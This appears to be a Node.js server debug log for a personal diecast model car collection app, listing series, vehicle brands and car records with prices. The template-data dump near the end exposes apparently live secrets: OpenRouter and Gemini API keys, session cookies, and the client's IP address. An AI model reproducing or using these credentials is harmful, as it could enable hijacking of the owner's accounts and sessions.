  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-12T13:31:07.012Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-02-12T13:31:07.015Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-12T13:31:07.016Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-12T13:31:07.017Z server-connect:app Executing action step identify
2026-02-12T13:31:07.017Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:07.017Z server-connect:output identity: 1
2026-02-12T13:31:07.017Z server-connect:app Executing action step restrict
2026-02-12T13:31:07.017Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:07.017Z server-connect:output restrict: undefined
2026-02-12T13:31:07.017Z server-connect:app Executing action step select
2026-02-12T13:31:07.017Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:31:07.018Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-12T13:31:07.018Z server-connect:app Executing action step select
2026-02-12T13:31:07.019Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:31:07.019Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-12T13:31:07.020Z server-connect:app Executing action step select
2026-02-12T13:31:07.020Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:31:07.020Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-12T13:31:07.963Z server-connect:router Serving templateView /diecast-worksheet
2026-02-12T13:31:07.964Z server-connect:app Executing action step identify
2026-02-12T13:31:07.964Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:07.964Z server-connect:output identity: 1
2026-02-12T13:31:07.964Z server-connect:app Executing action step restrict
2026-02-12T13:31:07.964Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T13:31:07.965Z server-connect:output restrict: undefined
2026-02-12T13:31:07.965Z server-connect:router Render template layouts/main
2026-02-12T13:31:07.965Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"14e17-Gm5sHKqWiNbGpTVZJ2sPTtr6Lb8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T13:12:07.489Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"14e17-Gm5sHKqWiNbGpTVZJ2sPTtr6Lb8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast-worksheet'
}
2026-02-12T13:31:08.545Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-12T13:31:08.549Z server-connect:router Serving serverConnect /api/access-control/user-info
